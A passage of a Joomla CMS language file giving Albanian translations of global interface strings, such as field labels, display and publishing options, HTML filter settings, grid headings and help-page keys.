brenda kësaj kategorie do të shfaqen" JGLOBAL_FIELD_CATEGORIES_CHOOSE_CATEGORY_LABEL="Zgjidh nji kategori të nivelit të naltë" JGLOBAL_FIELD_CATEGORIES_DESC_DESC="Nëse fut pak tekst në këte fushë, ai ka me iu mbivendosë përshkrimit të kategorisë së nivelit të naltë, nëse e ka nji të tillë." JGLOBAL_FIELD_CATEGORIES_DESC_LABEL="Përshkrimi i kategorisë së nivelit të naltë" JGLOBAL_FIELD_CREATED_BY_ALIAS_DESC="Përdor nji emën tjetër nga ai i autorit për me shfaqë" JGLOBAL_FIELD_CREATED_BY_ALIAS_LABEL="Aliasi i autorit" JGLOBAL_FIELD_CREATED_BY_DESC="Përdoruesi që e krijoi këte" JGLOBAL_FIELD_CREATED_BY_LABEL="Krijue nga" JGLOBAL_FIELD_CREATED_DESC="Data e krijimit" JGLOBAL_FIELD_CREATED_LABEL="Data e krijimit" JGLOBAL_FIELD_FIELD_CACHETIME_DESC="Numri i minutave para se të rifreskohet keshi." JGLOBAL_FIELD_FIELD_ORDERING_LABEL="Rendi" JGLOBAL_FIELD_ID_DESC="Regjistro numrin në databazë" JGLOBAL_FIELD_ID_LABEL="ID-ja" JGLOBAL_FIELD_LAYOUT_DESC="Faqosja normale me përdorë për artikujt" JGLOBAL_FIELD_LAYOUT_LABEL="Zgjidh nji faqosje" JGLOBAL_FIELD_MODIFIED_LABEL="Data e ndryshueme" JGLOBAL_FIELD_MODIFIED_BY_DESC="Përdoruesi që bani ndryshimin e fundit" JGLOBAL_FIELD_MODIFIED_BY_LABEL="Ndryshue nga" JGLOBAL_FIELD_NUM_CATEGORY_ITEMS_DESC="Numri i kategorive me shfaqë për secilin nivel" JGLOBAL_FIELD_NUM_CATEGORY_ITEMS_LABEL="Numri i kategorive" JGLOBAL_FIELD_PUBLISH_DOWN_DESC="Datë opsionale me ndalë botimin" JGLOBAL_FIELD_PUBLISH_DOWN_LABEL="Përfundo botimin" JGLOBAL_FIELD_PUBLISH_UP_DESC="Datë opsionale me fillue botimin" JGLOBAL_FIELD_PUBLISH_UP_LABEL="Fillo botimin" JGLOBAL_FIELD_SHOW_BASE_DESCRIPTION_DESC="Trego përshkrimin e kategorisë së nivelit të naltë ose përndryshe mbivendose me tekstin nga fusha e përshkrimit gjetë në sendin e menysë. Nëse përdor Rranjën si kategori e nivelit të naltë, fusha e përshkrimit duhet m'u mbushë." JGLOBAL_FIELD_SHOW_BASE_DESCRIPTION_LABEL="Përshkrimi i nivelit të kategorisë së naltë" JGLOBAL_FIELDSET_DISPLAY_OPTIONS="Opsionet e shfaqjes" JGLOBAL_FIELDSET_METADATA_OPTIONS="Opsionet metadata" JGLOBAL_FIELDSET_OPTIONS="Opsionet" JGLOBAL_FIELDSET_PUBLISHING="Opsionet e botimit" JGLOBAL_FILTER_ATTRIBUTES_DESC="Rendit atributet shtesë, tu'e nda secilin emën atributi me hapsinë ose presje." JGLOBAL_FILTER_ATTRIBUTES_LABEL="Atributet e filtrit" JGLOBAL_FILTER_CLIENT="- Zgjidh vendndodhjen -" JGLOBAL_FILTER_FIELD_DESC="A me tregue fushën e filtrit për listën e artikujve. Zgjidh Fsheh me e fshehë fushën e filtrit, ose zgjidh cilën fushë e don me filtër." JGLOBAL_FILTER_FIELD_LABEL="Fusha e filtrit" JGLOBAL_FILTER_GROUPS_DESC="Kjo përcakton grupet e përdoruesve mbi të cilët don me zbatue filtrat. Grupet e tjera s'kanë me pasë filtrim." JGLOBAL_FILTER_GROUPS_LABEL="Grupet e filtrit" JGLOBAL_FILTER_TAGS_DESC="Listo taget shtesë, tue e nda secilin emën tag me hapsinë ose presje." JGLOBAL_FILTER_TAGS_LABEL="Taget e filtrit" JGLOBAL_FILTER_TYPE_DESC="

      Lista e Zezë i lejon krejt taget dhe atributet përveç atyne në listën e zezë.
      -- Taget për listën e zezë normale përfshijnë: 'applet', 'body', 'bgsound', 'base', 'basefont', 'embed', 'frame', 'frameset', 'head', 'html', 'id', 'iframe', 'ilayer', 'layer', 'link', 'meta', 'name', 'object', 'script', 'style', 'title', 'xml'
      -- Atributet për listën e zezë normale përfshijnë: 'action', 'background', 'codebase', 'dynsrc', 'lowsrc'
      -- Mundesh me futë në listë të zezë tage dhe atribute të tjera tu'i shtue fushave të filtrave të tageve dhe atributeve, tu@e nda secilin tag ose atribut me presje.
      -- Lista e zezë e veçantë ta lejon me iu mbivendosë asaj normale. Shto taget dhe atributet që duhen bllokue në filtrat e tageve dhe atributeve.

      Lista e Bardhë lejon vetëm taget e rendituna në fushën e filtrit të tageve dhe atributeve.

      Jo HTML heq krejt taget HTML nga përmbajtja mbas ruejtjes.

      Ven re që këto të dhana punojnë pavarësisht editorit që je tue përdorë.
      Edhe nëse je tue përdorë editor WYSIWYG, t'dhanat e filtrimit mund të heqin tage dhe atribute shtesë përpara ruejtjes s'informacionit në databazë.

      " JGLOBAL_FILTER_TYPE_LABEL="Lloji i filtrit" JGLOBAL_FULL_TEXT="Tekst i plotë" JGLOBAL_GT=">" JGLOBAL_HITS="Shikimet" JGLOBAL_INDEX_FOLLOW="Indeks, Ndiq" JGLOBAL_INDEX_NOFOLLOW="Indeks, Mos ndiq" JGLOBAL_INHERIT="Trashëgo" JGLOBAL_INTEGRATION_LABEL="Integratim" JGLOBAL_INTRO_TEXT="Tekst paraprak" JGLOBAL_ISFREESOFTWARE="%s asht program falas lëshue nën Licensën e përgjithshme publike GNU." JGLOBAL_LEAST_HITS="Shikimet e pakta" JGLOBAL_LEFT="Majtas" JGLOBAL_LINK_AUTHOR_DESC="Nëse vehet Po, emni i autorit t'artikullit ka me u lidhë me faqen e tij të kontaktit. Duhet me krijue nji kontat të lidhun me regjistrin e autorit si përdorues që kjo të hyjë në fuqi. Kjo asht nji e dhannë globale por mund të ndryshohet tek nivelet e kategorisë, menysë dhe artikullit." JGLOBAL_LINK_AUTHOR_LABEL="Nyja e autorit" JGLOBAL_LINK_CATEGORY_DESC="Nëse vehet Po dhe nëse Trego Kategorinë asht vu në 'Trego', titulli i kategorisë ka me u lidhë me nji faqosje që tregon artikujt n'at kategori." JGLOBAL_LINK_CATEGORY_LABEL="Kategoria nyje" JGLOBAL_LINK_PARENT_CATEGORY_DESC="Nëse vehet në Po dhe nëse Trego Prindin asht vu në 'Trego', titulli i kategorisë prind ka me u lidhë me nji faqosje që tregon artikujt n'at kategori." JGLOBAL_LINK_PARENT_CATEGORY_LABEL="Prindi nyje" JGLOBAL_LINKED_TITLES_DESC="Nëse vehet Po, titulli i artikullit ka me qenë nyje për tek artikulli." JGLOBAL_LINKED_TITLES_LABEL="Titujt nyje" JGLOBAL_LIST="Lista" JGLOBAL_LIST_ALIAS="(Aliasi: %s)" JGLOBAL_LIST_ALIAS_NOTE="(Aliasi: %s, Shënim: %s)" JGLOBAL_LIST_AUTHOR_DESC="A me tregue autorin e artikullit në listën e artikujve." JGLOBAL_LIST_AUTHOR_LABEL="Trego autorin në listë" JGLOBAL_LIST_HITS_DESC="A me tregue shikimet e artikullit në listën e artikujve." JGLOBAL_LIST_HITS_LABEL="Trego shikimet në listë" JGLOBAL_LIST_LAYOUT_OPTIONS="Faqosjet e listës" JGLOBAL_LIST_NOTE="(Shënim: %s)" JGLOBAL_LIST_TITLE_DESC="Nëse Trego, titulli i kategorisë do të shfaqet në listën e kategorive." JGLOBAL_LIST_TITLE_LABEL="Titulli i kategorisë" JGLOBAL_LT="<" JGLOBAL_MAXIMUM_CATEGORY_LEVELS_DESC="Numri i niveleve të nënkategorive me shfaqë." JGLOBAL_MAXIMUM_CATEGORY_LEVELS_LABEL="Nivelet e nënkategorive" JGLOBAL_MAXLEVEL_DESC="Numri maksimal i niveleve të nënkategorive me shfaqë." JGLOBAL_MAXLEVEL_LABEL="Nivelet e nënkategorive" JGLOBAL_MENU_SELECTION="Përzgjedhja e menyve:" JGLOBAL_MODIFIED="Ndryshue" JGLOBAL_MOST_HITS="Ma shikime" JGLOBAL_MOST_RECENT_FIRST="T'fundit n'fillim" JGLOBAL_MULTI_COLUMN_ORDER_DESC="Renditi artikujt poshtë ose përmes rreshtave" JGLOBAL_MULTI_COLUMN_ORDER_LABEL="Rend me shum rreshta" JGLOBAL_MULTI_LEVEL="Shum nivele" JGLOBAL_NEWITEMSFIRST_DESC="Sendet e para normalisht në vend t'parë. Rendi mund të ndryshohet mbasi të ruhet ky send." JGLOBAL_NEWITEMSLAST_DESC="Sendet e reja normalisht në vend t'fundit. Rendi mund të ndryshohet mbasi të ruhet ky send." JGLOBAL_NO_ITEM_SELECTED="S'u zgjodh gja" JGLOBAL_NO_ORDER="Pa rend" JGLOBAL_NOINDEX_FOLLOW="Pa indeks, ndiq" JGLOBAL_NOINDEX_NOFOLLOW="Pa indeks, mos ndiq" JGLOBAL_NUM_COLUMNS_DESC="Numri i rreshtave në të cilin me tregue artikujt prezantues. Normalisht 1, 2, ose 3." JGLOBAL_NUM_COLUMNS_LABEL="# rreshta" JGLOBAL_NUM_INTRO_ARTICLES_DESC="Numri i artikujve me tregue mbas artikullit kryesor. Artikujt do të shfaqen në shtylla." JGLOBAL_NUM_INTRO_ARTICLES_LABEL="# Artikuj prezantues" JGLOBAL_NUM_LEADING_ARTICLES_DESC="Numri i artikujve kryesorë me shfaqë me gjanësi të plotë në fillim të faqes." JGLOBAL_NUM_LEADING_ARTICLES_LABEL="# Artikuj kryesorë" JGLOBAL_NUM_LINKS_DESC="Numri i artikujve me shfaqë si nyje, normalisht poshtë artikujve prezantues." JGLOBAL_NUM_LINKS_LABEL="# nyjeve" JGLOBAL_NUMBER_CATEGORY_ITEMS_DESC="Nëse asht Trego, ka me u tregue numri i artikujve në kategori." JGLOBAL_NUMBER_CATEGORY_ITEMS_LABEL="Numri i artikujve me shfaqë" JGLOBAL_NUMBER_ITEMS_LIST_DESC="Numri normal i artikujve me renditë në nji faqe." JGLOBAL_NUMBER_ITEMS_LIST_LABEL="# artikujve me renditë" JGLOBAL_OLDEST_FIRST="T'vjetrat n'fillim" JGLOBAL_ORDERING="Rendi i menaxherit t'artikujve" JGLOBAL_ORDERING_DATE_DESC="Nëse artikujt renditen sipas datës, cilën datë me përdorë." JGLOBAL_ORDERING_DATE_LABEL="Data për renditje" JGLOBAL_PAGINATION_DESC="Trego ose fsheh mbështetjen e faqezimit. Faqezimi jep nyje faqesh në fund të faqes që ia mundësojnë përdoruesit me lundrue në faqe të tjera. Këto nevojiten nëse informacioni nuk ka me u përmbledhë në nji faqe." JGLOBAL_PAGINATION_LABEL="Faqosja" JGLOBAL_PAGINATION_RESULTS_DESC="Trego ose fsheh informacionin e rezultateve të faqezimit, për shembull, "Faqe 1 nga 4"." JGLOBAL_PAGINATION_RESULTS_LABEL="Rezultatet e faqosjes" JGLOBAL_PASSWORD="Fjalkalimi" JGLOBAL_PERMISSIONS_ANCHOR="Cakto lejet" JGLOBAL_PREVIEW="Kqyrja" JGLOBAL_RECORD_NUMBER="Regjistro ID: %d" JGLOBAL_REMEMBER_ME="Më mbaj mend" JGLOBAL_RIGHT="Djathtas" JGLOBAL_ROOT="Rranja" JGLOBAL_ROOT_PARENT="- Pa prind -" JGLOBAL_SELECT_ALLOW_DENY_GROUP="Ndrysho lejen %s për grupin %s." JGLOBAL_SELECTION_INVERT="Mblidhe përzgjedhjen" JGLOBAL_SELECTION_ALL="Zgjidhi krejt" JGLOBAL_SELECTION_NONE="Pastro përzgjedhjen" JGLOBAL_SHOW_AUTHOR_DESC="Nëse asht vu me Tregue, emni i autorit t'artikullit ka m'u shfaqë. Kjo asht nji e dhanë globale por mund të ndryshohet në nivelet e kategorisë, menysë dhe artikullit." JGLOBAL_SHOW_AUTHOR_LABEL="Trego autorin" JGLOBAL_SHOW_CATEGORY_DESC="Nëse vehet Trego, titulli i artikullit’s kategori ka me u shfaqë." JGLOBAL_SHOW_CATEGORY_DESCRIPTION_DESC="Trego ose fsheh përshkrimin e kategorisë së përzgjedhun." JGLOBAL_SHOW_CATEGORY_DESCRIPTION_LABEL="Përshkrimi i kategorisë" JGLOBAL_SHOW_CATEGORY_IMAGE_DESC="Trego ose fsheh pamjen e kategorisë së përzgjedhun." JGLOBAL_SHOW_CATEGORY_IMAGE_LABEL="Pamjaj e kategorisë" JGLOBAL_SHOW_CATEGORY_LABEL="Trego kategorinë" JGLOBAL_SHOW_CATEGORY_TITLE="Titulli i kategorisë" JGLOBAL_SHOW_CATEGORY_TITLE_DESC="Nëse asht Trego, titulli i kategorisë do të shfaqet si nëntitull në faqe. Nëntitulli zakonisht shfaqet brenda tagut "H2" ." JGLOBAL_SHOW_CREATE_DATE_DESC="Nëse vehet Trego, data dhe koha kur asht krijue nji artikull ka me u shfaqë. Kjo asht e dhanë globale por mund të ndryshohet në nivelet e menysë dhe artikullit." JGLOBAL_SHOW_CREATE_DATE_LABEL="Trego datën e krijimit" JGLOBAL_SHOW_DATE_DESC="A me tregue shtyllën e datës në listën e artikujve. Zgjidh Fsheh me e fshehë datën, ose zgjidh cilën datë dëshiron me tregue." JGLOBAL_SHOW_DATE_LABEL="Trego datën" JGLOBAL_SHOW_EMAIL_ICON_DESC="Trego/fsheh ikonën e emailit. Kjo ta mundëson me e nisë me email artikullin." JGLOBAL_SHOW_EMAIL_ICON_LABEL="Trego ikonën email" JGLOBAL_SHOW_EMPTY_CATEGORIES_DESC="Nëse asht Trego, kategoritë boshe do të shfaqen. Nji kategori asht bosh vetëm nëse nuk ka sende ose nënkategori nën vete." JGLOBAL_SHOW_EMPTY_CATEGORIES_LABEL="Kategoritë bosh" JGLOBAL_SHOW_FEED_LINK_DESC="Trego ose fsheh nyjen RSS Feed. (Nji nyje feed ka me u shfaqë si ikonë feed në fushën e adresës së shumicës së lundruesve modernë)." JGLOBAL_SHOW_FEED_LINK_LABEL="Trego nyjen Feed" JGLOBAL_SHOW_HEADINGS_DESC="Trego ose fsheh kaptinat në faqosjet listë." JGLOBAL_SHOW_HEADINGS_LABEL="Kaptinat e tabelës" JGLOBAL_SHOW_HITS_DESC="Nëse vehet Trego, numri i shikimeve në nji artikull të veçantë ka me u shfaqë. Kjo asht nji e dhanë globale por mund të ndrrohet në nivelet e kategorisë, menysë dhe artikullit." JGLOBAL_SHOW_HITS_LABEL="Trego shikimet" JGLOBAL_SHOW_ICONS_DESC="Shtyp dhe email do të përdorin ikona apo tekst" JGLOBAL_SHOW_ICONS_LABEL="Trego ikonat" JGLOBAL_SHOW_INTRO_DESC="Nëse vehet Trego, introteksti i artikullit do të shfaqet kur ulesh poshtë për tek artikulli. Nëse vehet Fsheh, vetëm pjesë t'artikullit mbas pjesës "Lexo ma" do të shfaqen." JGLOBAL_SHOW_INTRO_LABEL="Trego tekstin paraprak" JGLOBAL_SHOW_MODIFY_DATE_DESC="Nëse vehet Trego, data dhe koha se kur u ndryshue së fundmi nji artikull do të shfaqen. Kjo asht e dhanë globale por mund të ndryshohet në nivelet e kategorisë, menysë dhe artikullit." JGLOBAL_SHOW_MODIFY_DATE_LABEL="Trego datën e ndryshueme" JGLOBAL_SHOW_NAVIGATION_DESC="Nëse vehet Trego, tregon nji nyje lundrimi (Tjetri, Përpara) mes artikujsh." JGLOBAL_SHOW_NAVIGATION_LABEL="Trego lundrimin" JGLOBAL_SHOW_PARENT_CATEGORY_DESC="Nëse vehet Trego, do të tregohet titulli i artikullit’s të kategorisë prind." JGLOBAL_SHOW_PARENT_CATEGORY_LABEL="Trego prindin" JGLOBAL_SHOW_PRINT_ICON_DESC="Trego/fsheh butonin e shtypjes së sendit." JGLOBAL_SHOW_PRINT_ICON_LABEL="Trego ikonën e shtypjes" JGLOBAL_SHOW_PUBLISH_DATE_DESC="Nëse vehet Trego, data dhe koha në të cilën asht botue nji artikull ka me u shfaqë. Kjo asht e dhanë globale por mund të ndryshohet në nivelet e kategorisë, menysë dhe artikullit." JGLOBAL_SHOW_PUBLISH_DATE_LABEL="Trego datën e botimit" JGLOBAL_SHOW_READMORE_DESC="Nëse vehet Trego, nyja Lexo ma... ka me u shfaqë nëse asht dhanë teksti kryesor i artikullit." JGLOBAL_SHOW_READMORE_LABEL="Trego "Lexo ma"" JGLOBAL_SHOW_READMORE_TITLE_DESC="Nëse vehet me tregue titulli i artikullit do të shfaqet në butonin Lexo ma" JGLOBAL_SHOW_READMORE_TITLE_LABEL="Trego titullin me Lexo ma" JGLOBAL_SHOW_READMORE_LIMIT_DESC="Përcakto nji numër shkrojash në titullin e artikullit për me tregue tek butoni Lexo ma" JGLOBAL_SHOW_READMORE_LIMIT_LABEL="Kufini tek Lexo ma" JGLOBAL_SHOW_SUBCATEGORIES_DESCRIPTION_DESC="Trego/fsheh përshkrimet e nënkategorive." JGLOBAL_SHOW_SUBCATEGORIES_DESCRIPTION_LABEL="Përshkrimet e nënkategorive" JGLOBAL_SHOW_SUBCATEGORY_CONTENT_LABEL="Përfshiji nënkategoritë" JGLOBAL_SHOW_SUBCATEGORY_CONTENT_DESC="Nëse asht Asnji, vetëm artikujt nga kjo kategori do të shfaqen. Nëse asht numër, gjithë artikujt nga kategoria dhe nënkategoritë përfshi at nivel do të tregohen në blog." JGLOBAL_SHOW_TITLE_DESC="Nëse vehet Trego, do të shfaqet titulli i artikullit." JGLOBAL_SHOW_TITLE_LABEL="Trego titullin" JGLOBAL_SHOW_UNAUTH_LINKS_DESC="Nëse vehet Po, nyjet e përmbajtjes së regjistrueme do të shfaqen edhe nëse nuk ke hy. Ka me t'u dashtë me hy me e pa krejt sendin." JGLOBAL_SHOW_UNAUTH_LINKS_LABEL="Trego nyjet e paautorizueme" JGLOBAL_SHOW_VOTE_DESC="Nëse vendoset me tregue, do t'aktivizohet nji sistem votimi për artikujt" JGLOBAL_SHOW_VOTE_LABEL="Trego votimin" JGLOBAL_SINGLE_LEVEL="Nji nivel" JGLOBAL_SUBHEADING_DESC="Teksti opsional me tregue si nënkaptinë." JGLOBAL_SUBHEADING_LABEL="Nënkaptina e faqes" JGLOBAL_SUBMENU_CHECKIN="Regjistrimi" JGLOBAL_SUBMENU_CLEAR_CACHE="Pastro keshin" JGLOBAL_SUBMENU_PURGE_EXPIRED_CACHE="Fshij keshin e skaduem" JGLOBAL_SUBSLIDER_BLOG_EXTENDED_LABEL="Opsioni poshtë jep mundësinë me përfshi artikujt nga nënkategoritë në faqosjen blog." JGLOBAL_SUBSLIDER_BLOG_LAYOUT_LABEL="Nëse nji fushë lehet bosh, do të përdoren të dhanat globale." JGLOBAL_SUBSLIDER_DRILL_CATEGORIES_LABEL="Këto opsione përdoren edhe kur shtyp
      mbi nji nga nyjet e kategorive, në faqen e parë dhe/ose mandej,
      nëmos ato ndryshohen për nji send të veçantë menyje." JGLOBAL_TITLE="Titulli" JGLOBAL_TITLE_ALPHABETICAL="Titulli alfabetik" JGLOBAL_TITLE_REVERSE_ALPHABETICAL="Titulli alfabetik mbrapsht" JGLOBAL_TOP="Maje" JGLOBAL_TPL_CPANEL_LINK_TEXT="Kthehu në panelin e kontrollit" JGLOBAL_USE_GLOBAL="Përdor globalen" JGLOBAL_USERNAME="Pseudonimi" JGLOBAL_VALIDATION_FORM_FAILED="Formë e pavlefshme" JGLOBAL_VIEW_SITE="Shih faqen" JGLOBAL_WARNJAVASCRIPT="Njoftim! JavaScript duhet m'u aktivizue për veprim të saktë të mbrapavijës administrative." JGLOBAL_WIDTH="Gjanësia" JGLOBAL_CHECK_ALL="Zgjidhi krejet" JGRID_HEADING_ACCESS="Hymja" JGRID_HEADING_CREATED_BY="Krijue nga" JGRID_HEADING_ID="ID-ja" JGRID_HEADING_LANGUAGE="Gjuha" JGRID_HEADING_MENU_ITEM_TYPE="Lloji i sendit të menysë" JGRID_HEADING_ORDERING="Renditja" JGRID_HEADING_ROW_NUMBER="nr" JGRID_CHECKBOX_ROW_N="Kutija për rreshtin %d" JHELP_COMPONENTS_BANNERS_BANNERS="Components_Banners_Banners" JHELP_COMPONENTS_BANNERS_BANNERS_EDIT="Components_Banners_Banners_Edit" JHELP_COMPONENTS_BANNERS_CATEGORIES="Components_Banners_Categories" JHELP_COMPONENTS_BANNERS_CATEGORY_ADD="Components_Banners_Categories_Edit" JHELP_COMPONENTS_BANNERS_CATEGORY_EDIT="Components_Banners_Categories_Edit" JHELP_COMPONENTS_BANNERS_CLIENTS="Components_Banners_Clients" JHELP_COMPONENTS_BANNERS_CLIENTS_EDIT="Components_Banners_Clients_Edit" JHELP_COMPONENTS_BANNERS_TRACKS="Components_Banners_Tracks" JHELP_COMPONENTS_CONTACT_CATEGORIES="Components_Contacts_Categories" JHELP_COMPONENTS_CONTACT_CATEGORY_ADD="Components_Contacts_Categories_Edit" JHELP_COMPONENTS_CONTACT_CATEGORY_EDIT="Components_Contacts_Categories_Edit" JHELP_COMPONENTS_CONTACTS_CONTACTS="Components_Contacts_Contacts" JHELP_COMPONENTS_CONTACTS_CONTACTS_EDIT="Components_Contacts_Contacts_Edit" JHELP_COMPONENTS_CONTENT_CATEGORIES="Components_Content_Categories" JHELP_COMPONENTS_CONTENT_CATEGORY_ADD="Components_Content_Categories_Edit" JHELP_COMPONENTS_CONTENT_CATEGORY_EDIT="Components_Content_Categories_Edit" JHELP_COMPONENTS_FINDER_MANAGE_INDEXED_CONTENT="Components_Finder_Manage_Indexed_Content" JHELP_COMPONENTS_FINDER_MANAGE_CONTENT_MAPS="Components_Finder_Manage_Content_Maps" JHELP_COMPONENTS_FINDER_MANAGE_SEARCH_FILTERS="Components_Finder_Manage_Search_Filters" JHELP_COMPONENTS_FINDER_MANAGE_SEARCH_FILTERS_EDIT="Components_Finder_Manage_Search_Filters_Edit" JHELP_COMPONENTS_MESSAGING_INBOX="Components_Messaging_Inbox" JHELP_COMPONENTS_MESSAGING_READ="Components_Messaging_Read" JHELP_COMPONENTS_MESSAGING_WRITE="Components_Messaging_Write" JHELP_COMPONENTS_NEWSFEEDS_CATEGORIES="Components_Newsfeeds_Categories" JHELP_COMPONENTS_NEWSFEEDS_CATEGORY_ADD="Components_Newsfeeds_Categories_Edit" JHELP_COMPONENTS_NEWSFEEDS_CATEGORY_EDIT="Components_Newsfeeds_Categories_Edit" JHELP_COMPONENTS_NEWSFEEDS_FEEDS="Components_Newsfeeds_Feeds" JHELP_COMPONENTS_NEWSFEEDS_FEEDS_EDIT="Components_Newsfeeds_Feeds_Edit" JHELP_COMPONENTS_REDIRECT_MANAGER="Components_Redirect_Manager" JHELP_COMPONENTS_REDIRECT_MANAGER_EDIT="Components_Redirect_Manager_Edit" JHELP_COMPONENTS_SEARCH="Components_Search" JHELP_COMPONENTS_WEBLINKS_CATEGORIES="Components_Weblinks_Categories" JHELP_COMPONENTS_WEBLINKS_CATEGORY_ADD="Components_Weblinks_Categories_Edit" JHELP_COMPONENTS_WEBLINKS_CATEGORY_EDIT="Components_Weblinks_Categories_Edit" JHELP_COMPONENTS_WEBLINKS_LINKS="Components_Weblinks_Links" JHELP_COMPONENTS_WEBLINKS_LINKS_EDIT="Components_Weblinks_Links_Edit" JHELP_CONTENT_ARTICLE_MANAGER="Content_Article_Manager" JHELP_CONTENT_ARTICLE_MANAGER_EDIT="Content_Article_Manager_Edit" JHELP_CONTENT_FEATURED_ARTICLES="Content_Featured_Articles" JHELP_CONTENT_MEDIA_MANAGER="Content_Media_Manager" JHELP_EXTENSIONS_EXTENSION_MANAGER_DATABASE="Extensions_Extension_Manager_Database" JHELP_EXTENSIONS_EXTENSION_MANAGER_DISCOVER="Extensions_Extension_Manager_Discover" JHELP_EXTENSIONS_EXTENSION_MANAGER_INSTALL="Extensions_Extension_Manager_Install" JHELP_EXTENSIONS_EXTENSION_MANAGER_MANAGE="Extensions_Extension_Manager_Manage" JHELP_EXTENSIONS_EXTENSION_MANAGER_UPDATE="Extensions_Extension_Manager_Update" JHELP_EXTENSIONS_EXTENSION_MANAGER_WARNINGS="Extensions_Extension_Manager_Warnings" JHELP_EXTENSIONS_LANGUAGE_MANAGER_CONTENT="Extensions_Language_Manager_Content" JHELP_EXTENSIONS_LANGUAGE_MANAGER_EDIT="Extensions_Language_Manager_Edit" JHELP_EXTENSIONS_LANGUAGE_MANAGER_INSTALLED="Extensions_Language_Manager_Installed" JHELP_EXTENSIONS_LANGUAGE_MANAGER_OVERRIDES="Extensions_Language_Manager_Overrides" JHELP_EXTENSIONS_LANGUAGE_MANAGER_OVERRIDES_EDIT="Extensions_Language_Manager_Overrides_Edit" JHELP_EXTENSIONS_MODULE_MANAGER="Extensions_Module_Manager" JHELP_EXTENSIONS_MODULE_MANAGER_ADMIN_CUSTOM="Extensions_Module_Manager_Admin_Custom" JHELP_EXTENSIONS_MODULE_MANAGER_ADMIN_FEED="Extensions_Module_Manager_Admin_Feed" JHELP_EXTENSIONS_MODULE_MANAGER_ADMIN_LATEST="Extensions_Module_Manager_Admin_Latest" JHELP_EXTENSIONS_MODULE_MANAGER_ADMIN_LOGGED="Extensions_Module_Manager_Admin_Logged" JHELP_EXTENSIONS_MODULE_MANAGER_ADMIN_LOGIN="Extensions_Module_Manager_Admin_Login" JHELP_EXTENSIONS_MODULE_MANAGER_ADMIN_MENU="Extensions_Module_Manager_Admin_Menu" JHELP_EXTENSIONS_MODULE_MANAGER_ADMIN_MULTILANG="Extensions_Module_Manager_Admin_Multilang" JHELP_EXTENSIONS_MODULE_MANAGER_ADMIN_ONLINE="Extensions_Module_Manager_Admin_Online" JHELP_EXTENSIONS_MODULE_MANAGER_ADMIN_POPULAR="Extensions_Module_Manager_Admin_Popular" JHELP_EXTENSIONS_MODULE_MANAGER_ADMIN_QUICKICON="Extensions_Module_Manager_Admin_Quickicon" JHELP_EXTENSIONS_MODULE_MANAGER_ADMIN_STATUS="Extensions_Module_Manager_Admin_Status" JHELP_EXTENSIONS_MODULE_MANAGER_ADMIN_SUBMENU="Extensions_Module_Manager_Admin_Submenu" JHELP_EXTENSIONS_MODULE_MANAGER_ADMIN_TITLE="Extensions_Module_Manager_Admin_Title" JHELP_EXTENSIONS_MODULE_MANAGER_ADMIN_TOOLBAR="Extensions_Module_Manager_Admin_Toolbar" JHELP_EXTENSIONS_MODULE_MANAGER_ADMIN_UNREAD="Extensions_Module_Manager_Admin_Unread" JHELP_EXTENSIONS_MODULE_MANAGER_ARTICLES_ARCHIVE="Extensions_Module_Manager_Articles_Archive" JHELP_EXTENSIONS_MODULE_MANAGER_ARTICLES_CATEGORIES="Extensions_Module_Manager_Articles_Categories" JHELP_EXTENSIONS_MODULE_MANAGER_ARTICLES_CATEGORY="Extensions_Module_Manager_Articles_Category" JHELP_EXTENSIONS_MODULE_MANAGER_ARTICLES_NEWSFLASH="Extensions_Module_Manager_Articles_Newsflash" JHELP_EXTENSIONS_MODULE_MANAGER_ARTICLES_RELATED="Extensions_Module_Manager_Articles_Related" JHELP_EXTENSIONS_MODULE_MANAGER_BANNERS="Extensions_Module_Manager_Banners" JHELP_EXTENSIONS_MODULE_MANAGER_BREADCRUMBS="Extensions_Module_Manager_Breadcrumbs" JHELP_EXTENSIONS_MODULE_MANAGER_CUSTOM_HTML="Extensions_Module_Manager_Custom_HTML" JHELP_EXTENSIONS_MODULE_MANAGER_EDIT="Extensions_Module_Manager_Edit" JHELP_EXTENSIONS_MODULE_MANAGER_FEED_DISPLAY="Extensions_Module_Manager_Feed_Display" JHELP_EXTENSIONS_MODULE_MANAGER_FOOTER="Extensions_Module_Manager_Footer" JHELP_EXTENSIONS_MODULE_MANAGER_LANGUAGE_SWITCHER="Extensions_Module_Manager_Language_Switcher" JHELP_EXTENSIONS_MODULE_MANAGER_LATEST_NEWS="Extensions_Module_Manager_Latest_News" JHELP_EXTENSIONS_MODULE_MANAGER_LATEST_USERS="Extensions_Module_Manager_Latest_Users" JHELP_EXTENSIONS_MODULE_MANAGER_LOGIN="Extensions_Module_Manager_Login" JHELP_EXTENSIONS_MODULE_MANAGER_MENU="Extensions_Module_Manager_Menu" JHELP_EXTENSIONS_MODULE_MANAGER_MOST_READ="Extensions_Module_Manager_Most_Read" JHELP_EXTENSIONS_MODULE_MANAGER_RANDOM_IMAGE="Extensions_Module_Manager_Random_Image" JHELP_EXTENSIONS_MODULE_MANAGER_SEARCH="Extensions_Module_Manager_Search" JHELP_EXTENSIONS_MODULE_MANAGER_SMART_SEARCH="Extensions_Module_Manager_Smart_Search" JHELP_EXTENSIONS_MODULE_MANAGER_STATISTICS="Extensions_Module_Manager_Statistics" JHELP_EXTENSIONS_MODULE_MANAGER_SYNDICATION_FEEDS="Extensions_Module_Manager_Syndication_Feeds" JHELP_EXTENSIONS_MODULE_MANAGER_WEBLINKS="Extensions_Module_Manager_Weblinks" JHELP_EXTENSIONS_MODULE_MANAGER_WHO_ONLINE="Extensions_Module_Manager_Who_Online" JHELP_EXTENSIONS_MODULE_MANAGER_WRAPPER="Extensions_Module_Manager_Wrapper" JHELP_EXTENSIONS_PLUGIN_MANAGER="Extensions_Plugin_Manager" JHELP_EXTENSIONS_PLUGIN_MANAGER_EDIT="Extensions_Plugin_Manager_Edit" JHELP_EXTENSIONS_TEMPLATE_MANAGER_STYLES="Extensions_Template_Manager_Styles" JHELP_EXTENSIONS_TEMPLATE_MANAGER_STYLES_EDIT="Extensions_Template_Manager_Styles_Edit" JHELP_EXTENSIONS_TEMPLATE_MANAGER_TEMPLATES="Extensions_Template_Manager_Templates" JHELP_EXTENSIONS_TEMPLATE_MANAGER_TEMPLATES_EDIT="Extensions_Template_Manager_Templates_Edit" JHELP_EXTENSIONS_TEMPLATE_MANAGER_TEMPLATES_EDIT_SOURCE="Extensions_Template_Manager_Templates_Edit_Source" JHELP_GLOSSARY="Fjalës" JHELP_MENUS_MENU_ITEM_ARTICLE_ARCHIVED="Menus_Menu_Item_Article_Archived" 